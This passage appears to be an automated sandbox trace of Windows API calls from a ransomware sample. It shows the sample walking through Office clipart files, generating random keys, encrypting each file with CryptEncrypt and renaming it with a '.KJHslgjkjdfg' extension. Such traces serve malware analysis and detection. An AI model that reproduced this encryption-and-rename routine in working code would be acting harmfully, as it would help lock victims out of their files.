WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.623] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.623] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.623] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e02, lpOverlapped=0x0) returned 1 [0218.624] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e10, dwBufLen=0x4e10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e10) returned 1 [0218.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.625] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e10, lpOverlapped=0x0) returned 1 [0218.625] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.625] SetEndOfFile (hFile=0x130) returned 1 [0218.628] GetProcessHeap () returned 0x990000 [0218.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.628] GetProcessHeap () returned 0x990000 [0218.628] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.kjhslgjkjdfg")) returned 1 [0218.629] CloseHandle (hObject=0x130) returned 1 [0218.629] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0218.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.632] GetProcessHeap () returned 0x990000 [0218.632] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.632] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.634] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.634] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.634] GetProcessHeap () returned 0x990000 [0218.634] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.634] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.634] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.635] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.635] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.635] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.635] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x276a, lpOverlapped=0x0) returned 1 [0218.636] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2770, dwBufLen=0x2770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2770) returned 1 [0218.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.636] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2770, lpOverlapped=0x0) returned 1 [0218.637] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.637] SetEndOfFile (hFile=0x130) returned 1 [0218.640] GetProcessHeap () returned 0x990000 [0218.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.640] GetProcessHeap () returned 0x990000 [0218.640] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.kjhslgjkjdfg")) returned 1 [0218.641] CloseHandle (hObject=0x130) returned 1 [0218.642] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0218.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.643] GetProcessHeap () returned 0x990000 [0218.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.643] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.643] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.645] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.645] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.645] GetProcessHeap () returned 0x990000 [0218.646] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.646] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.646] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.646] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.646] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.646] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.646] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.646] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.646] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.646] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.646] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x228c, lpOverlapped=0x0) returned 1 [0218.647] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2290, dwBufLen=0x2290 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2290) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.648] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2290, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2290, lpOverlapped=0x0) returned 1 [0218.648] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.648] SetEndOfFile (hFile=0x130) returned 1 [0218.651] GetProcessHeap () returned 0x990000 [0218.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.651] GetProcessHeap () returned 0x990000 [0218.651] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.kjhslgjkjdfg")) returned 1 [0218.653] CloseHandle (hObject=0x130) returned 1 [0218.653] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0218.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.655] GetProcessHeap () returned 0x990000 [0218.655] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.655] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.655] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.657] GetProcessHeap () returned 0x990000 [0218.657] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.658] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.658] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.658] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.658] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.658] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.658] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.658] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.658] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9fc, lpOverlapped=0x0) returned 1 [0218.658] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00, dwBufLen=0xa00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00) returned 1 [0218.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.659] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa00, lpOverlapped=0x0) returned 1 [0218.659] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.659] SetEndOfFile (hFile=0x130) returned 1 [0218.661] GetProcessHeap () returned 0x990000 [0218.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.662] GetProcessHeap () returned 0x990000 [0218.662] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.kjhslgjkjdfg")) returned 1 [0218.664] CloseHandle (hObject=0x130) returned 1 [0218.664] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0218.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.667] GetProcessHeap () returned 0x990000 [0218.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.667] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.669] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.669] GetProcessHeap () returned 0x990000 [0218.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.669] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.670] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.670] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.670] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.670] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.670] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.670] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.670] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x25bc, lpOverlapped=0x0) returned 1 [0218.671] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25c0, dwBufLen=0x25c0 | out: pbData=0x27d0020*, 